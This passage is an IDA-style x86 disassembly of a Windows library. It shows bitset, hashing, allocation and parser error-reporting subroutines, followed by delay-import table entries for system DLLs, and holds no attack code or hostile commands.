		cmp	dword ptr [eax], 0
		setnle	al
		mov	[edi+14h], al
		jmp	short loc_69B8FBC8
; ---------------------------------------------------------------------------


loc_69B8FB54:				; CODE XREF: sub_69B8FACC+44j
					; sub_69B8FACC+61j
		cmp	byte ptr [esi+8], 0
		jz	short loc_69B8FB60
		cmp	byte ptr [edi+14h], 0
		jnz	short loc_69B8FBC8


loc_69B8FB60:				; CODE XREF: sub_69B8FACC+8Cj
		cmp	[ebp+arg_8], 0Dh
		jz	short loc_69B8FB73
		cmp	[ebp+arg_8], 0Eh
		mov	[ebp+arg_0], 0C00CE014h
		jnz	short loc_69B8FB7A


loc_69B8FB73:				; CODE XREF: sub_69B8FACC+98j
		mov	[ebp+arg_0], 0C00CE018h


loc_69B8FB7A:				; CODE XREF: sub_69B8FACC+A5j
		push	0
		push	[ebp+arg_0]
		call	sub_69B2F944
		cmp	dword ptr [esi+24h], 0
		pop	ecx
		pop	ecx
		mov	ebx, eax
		jz	short loc_69B8FBBF
		push	dword ptr [edi+10h]
		mov	ecx, esi
		call	sub_69B8F788
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+2Ch]
		xor	esi, esi
		cmp	[eax+8], esi
		jle	short loc_69B8FBBF
		push	esi
		push	eax
		push	0C00CE026h
		call	sub_69B2F944
		push	esi
		push	eax
		push	ebx
		call	sub_69B2F2CA
		add	esp, 18h
		mov	ebx, eax


loc_69B8FBBF:				; CODE XREF: sub_69B8FACC+C0j
					; sub_69B8FACC+D8j
		push	[ebp+arg_0]
		push	ebx
		call	sub_69B2E8A2


loc_69B8FBC8:				; CODE XREF: sub_69B8FACC+86j
					; sub_69B8FACC+92j
		pop	ebx
		pop	edi


loc_69B8FBCA:				; CODE XREF: sub_69B8FACC+13j
		pop	esi
		pop	ebp
		retn	0Ch
sub_69B8FACC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8FBCF	proc near		; CODE XREF: sub_69B5BEDE+17Ap
					; sub_69B8CB17+71p ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	esi, [edi+10h]
		xor	ebx, ebx
		cmp	[esi], ebx
		jz	loc_69B8FF05
		push	ebx
		lea	eax, [edi+0Ch]
		push	eax
		call	sub_69B17320
		push	1Ch
		call	sub_69B17EF3
		cmp	eax, ebx
		jz	short loc_69B8FC07
		push	ebx
		push	edi
		mov	ecx, eax
		call	sub_69B17064
		jmp	short loc_69B8FC09
; ---------------------------------------------------------------------------


loc_69B8FC07:				; CODE XREF: sub_69B8FBCF+2Bj
		xor	eax, eax


loc_69B8FC09:				; CODE XREF: sub_69B8FBCF+36j
		push	eax
		lea	ebx, [edi+14h]
		push	ebx
		call	sub_69B17320
		mov	eax, [esi]
		mov	ebx, [ebx]
		push	1Ch
		mov	[ebp+var_28], eax
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B8FC34
		push	0
		push	ebx
		push	[ebp+var_28]
		mov	ecx, eax
		call	sub_69B16FD4
		jmp	short loc_69B8FC36
; ---------------------------------------------------------------------------


loc_69B8FC34:				; CODE XREF: sub_69B8FBCF+54j
		xor	eax, eax


loc_69B8FC36:				; CODE XREF: sub_69B8FBCF+63j
		push	eax
		push	esi
		call	sub_69B17320
		mov	eax, [edi+18h]
		mov	ebx, [eax+0Ch]
		lea	eax, ds:10h[ebx*4]
		push	eax
		mov	[ebp+var_1C], ebx
		call	sub_69B17EF3
		mov	ecx, eax
		mov	[ebp+var_C], eax
		mov	[eax+8], ebx
		call	sub_69B19118
		mov	eax, [ebp+var_C]
		and	[ebp+var_8], 0
		test	ebx, ebx
		mov	dword ptr [eax], offset	off_69B1EE00
		jle	short loc_69B8FCA9


loc_69B8FC71:				; CODE XREF: sub_69B8FBCF+D8j
		push	20h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B8FC89
		push	ebx
		mov	ecx, eax
		call	sub_69B901E8
		mov	[ebp+var_20], eax
		jmp	short loc_69B8FC8D
; ---------------------------------------------------------------------------


loc_69B8FC89:				; CODE XREF: sub_69B8FBCF+ABj
		and	[ebp+var_20], 0


loc_69B8FC8D:				; CODE XREF: sub_69B8FBCF+B8j
		push	[ebp+var_8]
		mov	ecx, [ebp+var_C]
		call	sub_69B1A954
		push	[ebp+var_20]
		push	eax
		call	sub_69B17320
		inc	[ebp+var_8]
		cmp	[ebp+var_8], ebx
		jl	short loc_69B8FC71


loc_69B8FCA9:				; CODE XREF: sub_69B8FBCF+A0j
		mov	ecx, [esi]
		push	[ebp+var_C]
		mov	eax, [ecx]
		call	dword ptr [eax+48h]
		call	sub_69B1D7F6
		mov	[ebp+var_24], eax
		call	sub_69B1D7F6
		lea	ecx, [edi+24h]
		push	eax
		push	ecx
		call	sub_69B17320
		call	sub_69B1D7F6
		mov	[ebp+var_14], eax
		call	sub_69B315A6
		push	20h
		mov	[ebp+var_10], eax
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B8FCF2
		push	ebx
		mov	ecx, eax
		call	sub_69B901E8
		mov	[ebp+var_20], eax
		jmp	short loc_69B8FCF6
; ---------------------------------------------------------------------------


loc_69B8FCF2:				; CODE XREF: sub_69B8FBCF+114j
		and	[ebp+var_20], 0


loc_69B8FCF6:				; CODE XREF: sub_69B8FBCF+121j
		push	0FFFFFFFFh
		call	sub_69B2F66B
		mov	ecx, [ebp+var_10]
		push	eax
		push	[ebp+var_20]
		call	sub_69B3182D
		mov	ecx, [esi]
		mov	eax, [ecx]
		and	[ebp+var_20], 0
		push	ebx
		call	dword ptr [eax+40h]
		mov	ebx, [ebp+var_24]
		push	dword ptr [ebx+0Ch]
		mov	esi, eax
		mov	[ebp+var_18], esi
		call	sub_69B2F66B
		mov	ecx, [ebp+var_10]
		push	eax
		push	esi
		call	sub_69B3182D
		mov	ecx, [ebp+var_14]
		push	esi
		call	sub_69B8A35C
		push	esi
		mov	ecx, ebx
		call	sub_69B8A35C
		mov	eax, [edi+20h]
		mov	esi, [eax+0Ch]
		inc	esi
		lea	eax, ds:10h[esi*4]
		push	eax
		call	sub_69B17EF3
		mov	ebx, eax
		mov	ecx, ebx
		mov	[ebx+8], esi
		call	sub_69B19118
		mov	dword ptr [ebx], offset	off_69B13D68
		mov	ecx, [edi+24h]
		push	ebx
		call	sub_69B8A35C
		mov	eax, [edi+14h]
		push	dword ptr [eax+14h]
		mov	ecx, [ebp+var_18]
		call	sub_69B9030C
		test	al, al
		jz	short loc_69B8FD94
		mov	eax, [edi+20h]
		push	dword ptr [eax+0Ch]
		mov	ecx, ebx
		call	sub_69B1A954
		mov	dword ptr [eax], 1


loc_69B8FD94:				; CODE XREF: sub_69B8FBCF+1B0j
		mov	esi, [ebp+var_14]
		xor	ebx, ebx
		jmp	loc_69B8FEFC
; ---------------------------------------------------------------------------


loc_69B8FD9E:				; CODE XREF: sub_69B8FBCF+330j
		push	[ebp+var_20]
		mov	ecx, [edi+24h]
		call	sub_69B8A163
		push	ebx
		mov	ecx, esi
		mov	[ebp+var_2C], eax
		call	sub_69B8A163
		push	ebx
		mov	ecx, esi
		mov	[ebp+var_18], eax
		call	sub_69B8A22A
		mov	ecx, [edi+20h]
		cmp	[ecx+0Ch], ebx
		mov	[ebp+var_8], ebx
		jle	loc_69B8FEF9


loc_69B8FDCE:				; CODE XREF: sub_69B8FBCF+31Fj
		push	[ebp+var_8]
		call	sub_69B8A163
		push	20h
		mov	ebx, eax
		call	sub_69B17EF3
		xor	esi, esi
		cmp	eax, esi
		jz	short loc_69B8FDF4
		push	[ebp+var_1C]
		mov	ecx, eax
		call	sub_69B901E8
		mov	[ebp+var_4], eax
		jmp	short loc_69B8FDF7
; ---------------------------------------------------------------------------


loc_69B8FDF4:				; CODE XREF: sub_69B8FBCF+214j
		mov	[ebp+var_4], esi


loc_69B8FDF7:				; CODE XREF: sub_69B8FBCF+223j
		cmp	[ebp+var_1C], 0
		jle	short loc_69B8FE33


loc_69B8FDFD:				; CODE XREF: sub_69B8FBCF+262j
		mov	ecx, [ebp+var_18]
		push	esi
		call	sub_69B9030C
		test	al, al
		jz	short loc_69B8FE2D
		mov	ecx, [edi+18h]
		push	esi
		call	sub_69B8A163
		add	eax, 18h
		cmp	[eax], ebx
		jnz	short loc_69B8FE2D
		mov	ecx, [ebp+var_C]
		push	esi
		call	sub_69B1A954
		push	dword ptr [eax]
		mov	ecx, [ebp+var_4]
		call	sub_69B90334


loc_69B8FE2D:				; CODE XREF: sub_69B8FBCF+239j
					; sub_69B8FBCF+249j
		inc	esi
		cmp	esi, [ebp+var_1C]
		jl	short loc_69B8FDFD


loc_69B8FE33:				; CODE XREF: sub_69B8FBCF+22Cj
		push	[ebp+var_4]
		mov	ecx, [ebp+var_10]
		call	sub_69B1980A
		test	eax, eax
		jnz	loc_69B8FECC
		mov	esi, [ebp+var_24]
		mov	eax, [esi+0Ch]
		push	eax
		mov	[ebp+var_28], eax
		call	sub_69B2F66B
		mov	ecx, [ebp+var_10]
		push	eax
		push	[ebp+var_4]
		call	sub_69B3182D
		push	[ebp+var_4]
		mov	ecx, [ebp+var_14]
		call	sub_69B8A35C
		push	[ebp+var_4]
		mov	ecx, esi
		call	sub_69B8A35C
		mov	eax, [edi+20h]
		mov	esi, [eax+0Ch]
		inc	esi
		lea	eax, ds:10h[esi*4]
		push	eax
		call	sub_69B17EF3
		mov	ebx, eax
		mov	ecx, ebx
		mov	[ebx+8], esi
		call	sub_69B19118
		mov	dword ptr [ebx], offset	off_69B13D68
		mov	ecx, [edi+24h]
		push	ebx
		call	sub_69B8A35C
		mov	eax, [edi+14h]
		push	dword ptr [eax+14h]
		mov	ecx, [ebp+var_4]
		call	sub_69B9030C
		test	al, al
		jz	short loc_69B8FED2
		mov	eax, [edi+20h]
		push	dword ptr [eax+0Ch]
		mov	ecx, ebx
		call	sub_69B1A954
		mov	dword ptr [eax], 1
		jmp	short loc_69B8FED2
; ---------------------------------------------------------------------------


loc_69B8FECC:				; CODE XREF: sub_69B8FBCF+271j
		mov	eax, [eax+8]
		mov	[ebp+var_28], eax


loc_69B8FED2:				; CODE XREF: sub_69B8FBCF+2E6j
					; sub_69B8FBCF+2FBj
		push	[ebp+var_8]
		mov	ecx, [ebp+var_2C]
		call	sub_69B1A954
		mov	ecx, [ebp+var_28]
		inc	[ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [edi+20h]
		mov	eax, [ebp+var_8]
		cmp	eax, [ecx+0Ch]
		jl	loc_69B8FDCE
		mov	esi, [ebp+var_14]
		xor	ebx, ebx


loc_69B8FEF9:				; CODE XREF: sub_69B8FBCF+1F9j
		inc	[ebp+var_20]


loc_69B8FEFC:				; CODE XREF: sub_69B8FBCF+1CAj
		cmp	[esi+0Ch], ebx
		jg	loc_69B8FD9E


loc_69B8FF05:				; CODE XREF: sub_69B8FBCF+12j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B8FBCF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8FF0A	proc near		; CODE XREF: sub_69B5B47E+49p
					; sub_69B5BEDE+106p ...

arg_0		= dword	ptr  4

		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 1
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		mov	ebx, eax
		jg	short loc_69B8FF21
		call	sub_69B2E6D8


loc_69B8FF21:				; CODE XREF: sub_69B8FF0A+10j
		mov	edi, [esp+0Ch+arg_0]
		cmp	edi, [ebx+10h]
		jnz	short loc_69B8FF3F
		mov	byte ptr [esi+9], 1
		call	sub_69B315A6
		push	eax
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17320
		jmp	short loc_69B8FF75
; ---------------------------------------------------------------------------


loc_69B8FF3F:				; CODE XREF: sub_69B8FF0A+1Ej
		mov	ecx, [esi+0Ch]
		test	ecx, ecx
		jz	short loc_69B8FF75
		push	edi
		call	sub_69B1980A
		test	eax, eax
		jz	short loc_69B8FF6B
		mov	eax, [edi]
		push	0
		mov	ecx, edi
		call	dword ptr [eax+2Ch]
		push	eax
		mov	eax, 0C00CE00Bh
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 10h
		jmp	short loc_69B8FF75
; ---------------------------------------------------------------------------


loc_69B8FF6B:				; CODE XREF: sub_69B8FF0A+44j
		mov	ecx, [esi+0Ch]
		push	edi
		push	edi
		call	sub_69B3182D


loc_69B8FF75:				; CODE XREF: sub_69B8FF0A+33j
					; sub_69B8FF0A+3Aj ...
		push	edi
		push	esi
		call	sub_69B8FA48
		mov	ecx, [esi+2Ch]
		cmp	dword ptr [ecx+0Ch], 0
		mov	ebx, eax
		jle	short loc_69B8FF9E
		mov	eax, [ecx]
		call	dword ptr [eax+48h]
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B8FF9E
		push	ebx
		lea	eax, [edi+18h]
		push	eax
		call	sub_69B17320
		mov	ebx, edi


loc_69B8FF9E:				; CODE XREF: sub_69B8FF0A+7Bj
					; sub_69B8FF0A+86j
		mov	ecx, [esi+2Ch]
		mov	eax, [ecx]
		push	ebx
		call	dword ptr [eax+4Ch]
		pop	edi
		mov	byte ptr [esi+29h], 1
		pop	esi
		pop	ebx
		retn	4
sub_69B8FF0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8FFB1	proc near		; CODE XREF: sub_69B5AAE3+12p
					; sub_69B5BEDE+125p ...
		push	3
		call	sub_69B8F6AB
		retn
sub_69B8FFB1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8FFB9	proc near		; CODE XREF: sub_69B5AAE3:loc_69B5AAFCp
					; sub_69B8DBA2+87p
		push	4
		call	sub_69B8F6AB
		retn
sub_69B8FFB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8FFC1	proc near		; CODE XREF: sub_69B5AAE3+29p
					; sub_69B8DBA2+94p
		push	2
		call	sub_69B8F6AB
		retn
sub_69B8FFC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8FFC9	proc near		; CODE XREF: sub_69B9003D+11p
		push	esi
		mov	esi, ecx
		call	sub_69B19118
		mov	dword ptr [esi], offset	off_69B149CC
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+18h], 0
		mov	eax, esi
		pop	esi
		retn
sub_69B8FFC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8FFE3	proc near		; DATA XREF: .text:69B14A00o
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+8]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17320
		and	dword ptr [esi+1Ch], 0
		pop	esi
		retn
sub_69B8FFE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B90002	proc near		; CODE XREF: sub_69B90098+3p
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		push	0
		lea	edi, [esi+8]
		push	edi
		mov	dword ptr [esi], offset	off_69B149CC
		call	sub_69B17320
		push	0
		lea	ebx, [esi+18h]
		push	ebx
		call	sub_69B17320
		and	dword ptr [esi+1Ch], 0
		push	ebx
		call	sub_69B17230
		push	edi
		call	sub_69B17230
		pop	edi
		mov	ecx, esi
		pop	esi
		pop	ebx
		jmp	sub_69B186FA
sub_69B90002	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B9003D	proc near		; CODE XREF: sub_69B8BC27+28p
					; sub_69B8C084+1CAp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	esi
		push	24h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B90057
		mov	ecx, eax
		call	sub_69B8FFC9
		mov	esi, eax
		jmp	short loc_69B90059
; ---------------------------------------------------------------------------


loc_69B90057:				; CODE XREF: sub_69B9003D+Dj
		xor	esi, esi


loc_69B90059:				; CODE XREF: sub_69B9003D+18j
		push	[ebp+arg_0]
		lea	eax, [esi+8]
		push	eax
		call	sub_69B17320
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[esi+0Ch], eax
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17320
		cmp	[ebp+arg_8], 0
		setz	al
		and	dword ptr [esi+10h], 0
		mov	[esi+14h], al
		mov	eax, [ebp+arg_C]
		mov	[esi+1Ch], eax
		mov	eax, [ebp+arg_10]
		mov	[esi+20h], eax
		mov	eax, esi
		pop	esi
		pop	ebp
		retn	14h
sub_69B9003D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B90098	proc near		; DATA XREF: .text:69B149D8o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B90002
		test	[esp+4+arg_0], 1
		jz	short loc_69B900AD
		push	esi
		call	sub_69B1829F


loc_69B900AD:				; CODE XREF: sub_69B90098+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B90098	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B900B3	proc near		; CODE XREF: sub_69B1AA33+AE21p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		jmp	short loc_69B900BF
; ---------------------------------------------------------------------------


loc_69B900BB:				; CODE XREF: sub_69B900B3+Fj
		add	ecx, 4
		inc	eax


loc_69B900BF:				; CODE XREF: sub_69B900B3+6j
		cmp	dword ptr [ecx], 0
		jnz	short loc_69B900BB
		retn
sub_69B900B3	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_69B900C5(UINT	uBytes)

sub_69B900C5	proc near		; CODE XREF: sub_69B1AA33+ADCAp

uBytes		= dword	ptr  4

		push	[esp+uBytes]	; uBytes
		push	40h		; uFlags
		call	ds:LocalAlloc	; LocalAlloc
		retn
sub_69B900C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B900D2	proc near		; CODE XREF: sub_69B1AA33+ADDBp

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax+4], ecx
		mov	ecx, dword_69B9B770
		mov	[eax], ecx
		mov	dword_69B9B770,	eax
		retn	4
sub_69B900D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B900EB	proc near		; DATA XREF: .text:69B14A20o
		mov	eax, offset off_69B2B1FC
		retn
sub_69B900EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B900F1	proc near		; DATA XREF: .text:69B14A24o
		mov	edx, [ecx+8]
		dec	edx
		mov	eax, 4D2h
		js	short locret_69B90119
		mov	ecx, [ecx+0Ch]
		push	esi
		lea	esi, [edx+1]
		lea	ecx, [ecx+edx*4]
		push	edi
		mov	edx, esi


loc_69B90109:				; CODE XREF: sub_69B900F1+24j
		mov	edi, [ecx]
		imul	edi, esi
		xor	eax, edi
		sub	ecx, 4
		dec	esi
		dec	edx
		jnz	short loc_69B90109
		pop	edi
		pop	esi

locret_69B90119:			; CODE XREF: sub_69B900F1+9j
		retn
sub_69B900F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B9011A	proc near		; DATA XREF: .text:69B14A28o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		test	edi, edi
		mov	esi, ecx
		jz	loc_69B901AF
		push	edi
		mov	ecx, offset off_69B2B1FC
		call	sub_69B1885E
		test	al, al
		jz	short loc_69B901AF
		cmp	esi, edi
		jz	short loc_69B901AB
		mov	eax, [esi+8]
		mov	ebx, [edi+8]
		cmp	eax, ebx
		jge	short loc_69B9014C
		mov	ebx, eax


loc_69B9014C:				; CODE XREF: sub_69B9011A+2Ej
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jle	short loc_69B90171
		mov	ecx, [esi+0Ch]
		mov	edx, [edi+0Ch]
		lea	eax, [ecx+ebx*4]
		sub	edx, ecx


loc_69B9015E:				; CODE XREF: sub_69B9011A+55j
		dec	[ebp+arg_0]
		sub	eax, 4
		mov	ecx, [eax]
		cmp	ecx, [edx+eax]
		jnz	short loc_69B901AF
		cmp	[ebp+arg_0], 0
		jg	short loc_69B9015E


loc_69B90171:				; CODE XREF: sub_69B9011A+37j
		mov	eax, [esi+8]
		cmp	eax, ebx
		jle	short loc_69B9018F
		mov	edx, [esi+0Ch]
		mov	ecx, eax
		lea	eax, [edx+eax*4]


loc_69B90180:				; CODE XREF: sub_69B9011A+71j
		sub	eax, 4
		dec	ecx
		cmp	dword ptr [eax], 0
		jnz	short loc_69B901AF
		cmp	ecx, ebx
		jg	short loc_69B90180
		jmp	short loc_69B901AB
; ---------------------------------------------------------------------------


loc_69B9018F:				; CODE XREF: sub_69B9011A+5Cj
		mov	eax, [edi+8]
		cmp	eax, ebx
		mov	ecx, eax
		jle	short loc_69B901AB
		mov	edx, [edi+0Ch]
		lea	eax, [edx+eax*4]


loc_69B9019E:				; CODE XREF: sub_69B9011A+8Fj
		sub	eax, 4
		dec	ecx
		cmp	dword ptr [eax], 0
		jnz	short loc_69B901AF
		cmp	ecx, ebx
		jg	short loc_69B9019E


loc_69B901AB:				; CODE XREF: sub_69B9011A+24j
					; sub_69B9011A+73j ...
		mov	al, 1
		jmp	short loc_69B901B1
; ---------------------------------------------------------------------------


loc_69B901AF:				; CODE XREF: sub_69B9011A+Dj
					; sub_69B9011A+20j ...
		xor	al, al


loc_69B901B1:				; CODE XREF: sub_69B9011A+93j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
sub_69B9011A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B901B8	proc near		; CODE XREF: .text:69B901DFp

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B2DC24
		mov	dword ptr [esi], offset	off_69B14A04
		mov	eax, esi
		pop	esi
		retn	4
sub_69B901B8	endp

; ---------------------------------------------------------------------------


loc_69B901D0:				; DATA XREF: .text:69B2B200o
		push	20h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B901E5
		push	0
		mov	ecx, eax
		call	sub_69B901B8
		retn
; ---------------------------------------------------------------------------


loc_69B901E5:				; CODE XREF: .text:69B901D9j
		xor	eax, eax
		retn

; =============== S U B	R O U T	I N E =======================================



sub_69B901E8	proc near		; CODE XREF: sub_69B8F9B6+1Dp
					; sub_69B8F9F4+1Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B19118
		mov	eax, [esp+4+arg_0]
		add	eax, 1Fh
		push	4
		shr	eax, 5
		pop	ecx
		cmp	eax, ecx
		mov	dword ptr [esi], offset	off_69B14A04
		mov	[esi+8], eax
		jbe	short loc_69B90232
		push	edi
		shl	eax, 2
		push	eax
		call	sub_69B1D897
		mov	ecx, [esi+8]
		shl	ecx, 2
		mov	edx, ecx
		mov	edi, eax
		shr	ecx, 2
		mov	[esi+0Ch], edi
		xor	eax, eax
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		pop	edi
		jmp	short loc_69B9023B
; ---------------------------------------------------------------------------


loc_69B90232:				; CODE XREF: sub_69B901E8+20j
		lea	eax, [esi+10h]
		mov	[esi+8], ecx
		mov	[esi+0Ch], eax


loc_69B9023B:				; CODE XREF: sub_69B901E8+48j
		mov	eax, esi
		pop	esi
		retn	4
sub_69B901E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B90241	proc near		; CODE XREF: sub_69B903B7+3p
		push	esi
		mov	esi, ecx
		mov	eax, [esi+0Ch]
		lea	ecx, [esi+10h]
		cmp	eax, ecx
		mov	dword ptr [esi], offset	off_69B14A04
		jz	short loc_69B9025A
		push	eax
		call	sub_69B1B2B7


loc_69B9025A:				; CODE XREF: sub_69B90241+11j
		mov	ecx, esi
		pop	esi
		jmp	sub_69B186FA
sub_69B90241	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B90262	proc near		; CODE XREF: sub_69B902DF+Fp
					; sub_69B90334+11p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, ecx
		mov	eax, [ebx+8]
		push	ebp
		mov	ebp, [esp+8+arg_0]
		cmp	ebp, eax
		jbe	short loc_69B902DA
		add	eax, eax
		cmp	eax, ebp
		jbe	short loc_69B90279
		mov	ebp, eax


loc_69B90279:				; CODE XREF: sub_69B90262+13j
		push	esi
		mov	eax, ebp
		push	edi
		shl	eax, 2
		push	eax
		call	sub_69B1D897
		mov	ecx, [ebx+8]
		mov	esi, [ebx+0Ch]
		shl	ecx, 2
		mov	edx, eax
		mov	eax, ecx
		shr	ecx, 2
		mov	edi, edx
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebx+8]
		shl	ecx, 2
		lea	edi, [ecx+edx]
		mov	esi, ecx
		shr	ecx, 2
		xor	eax, eax
		rep stosd
		mov	ecx, esi
		and	ecx, 3
		rep stosb
		mov	eax, [ebx+0Ch]
		lea	ecx, [ebx+10h]
		cmp	eax, ecx
		pop	edi
		mov	[esp+0Ch+arg_0], edx
		mov	[ebx+8], ebp
		pop	esi
		jz	short loc_69B902D7
		push	eax
		call	sub_69B1B2B7
		mov	edx, [esp+8+arg_0]


loc_69B902D7:				; CODE XREF: sub_69B90262+69j
		mov	[ebx+0Ch], edx


loc_69B902DA:				; CODE XREF: sub_69B90262+Dj
		pop	ebp
		pop	ebx
		retn	4
sub_69B90262	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B902DF	proc near		; CODE XREF: sub_69B8F9B6+32p
					; sub_69B8F9F4+32p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		shr	esi, 5
		lea	eax, [esi+1]
		push	eax
		mov	edi, ecx
		call	sub_69B90262
		mov	ecx, [esp+8+arg_0]
		mov	eax, [edi+0Ch]
		xor	edx, edx
		and	ecx, 1Fh
		inc	edx
		shl	edx, cl
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		or	[eax], edx
		retn	4
sub_69B902DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B9030C	proc near		; CODE XREF: sub_69B8F416+3Fp
					; sub_69B8F416+B5p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		shr	edx, 5
		xor	al, al
		cmp	edx, [ecx+8]
		jnb	short locret_69B90331
		mov	eax, [ecx+0Ch]
		mov	ecx, [esp+arg_0]
		push	esi
		xor	esi, esi
		inc	esi
		and	ecx, 1Fh
		shl	esi, cl
		test	[eax+edx*4], esi
		pop	esi
		setnz	al

locret_69B90331:			; CODE XREF: sub_69B9030C+Cj
		retn	4
sub_69B9030C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B90334	proc near		; CODE XREF: sub_69B8F327+69p
					; sub_69B8F39C+6Ep ...

arg_0		= dword	ptr  4

		push	ebx
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	ebx, ecx
		cmp	ebx, edi
		jz	short loc_69B90364
		push	esi
		mov	esi, [edi+8]
		push	esi
		call	sub_69B90262
		mov	ecx, esi
		test	esi, esi
		pop	esi
		jbe	short loc_69B90364


loc_69B90351:				; CODE XREF: sub_69B90334+2Ej
		mov	eax, [ebx+0Ch]
		mov	edx, [edi+0Ch]
		dec	ecx
		mov	edx, [edx+ecx*4]
		lea	eax, [eax+ecx*4]
		or	[eax], edx
		test	ecx, ecx
		ja	short loc_69B90351


loc_69B90364:				; CODE XREF: sub_69B90334+Aj
					; sub_69B90334+1Bj
		pop	edi
		pop	ebx
		retn	4
sub_69B90334	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B90369	proc near		; DATA XREF: .text:69B14A2Co
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B2F49D
		mov	ebx, eax
		lea	eax, [esi+10h]
		cmp	eax, [esi+0Ch]
		jnz	short loc_69B90382
		lea	eax, [ebx+10h]
		jmp	short loc_69B9038E
; ---------------------------------------------------------------------------


loc_69B90382:				; CODE XREF: sub_69B90369+12j
		mov	eax, [esi+8]
		shl	eax, 2
		push	eax
		call	sub_69B1D897


loc_69B9038E:				; CODE XREF: sub_69B90369+17j
		mov	[ebx+0Ch], eax
		mov	eax, [esi+8]
		mov	edi, [ebx+0Ch]
		mov	[ebx+8], eax
		mov	ecx, [esi+8]
		mov	esi, [esi+0Ch]
		shl	ecx, 2
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn
sub_69B90369	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B903B7	proc near		; DATA XREF: .text:69B14A10o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B90241
		test	[esp+4+arg_0], 1
		jz	short loc_69B903CC
		push	esi
		call	sub_69B1829F


loc_69B903CC:				; CODE XREF: sub_69B903B7+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B903B7	endp

; ---------------------------------------------------------------------------
		align 4
WININET_dll_dbiat dd 0			; DATA XREF: .text:69B903F8o
					; WININET.dll bound delayed import address table
USER32_dll_dbiat dd 0			; DATA XREF: .text:69B90418o
					; USER32.dll bound delayed import address table
urlmon_dll_dbiat dd 0			; DATA XREF: .text:69B90438o
					; urlmon.dll bound delayed import address table
OLEAUT32_dll_dbiat dd 0			; DATA XREF: .text:69B90458o
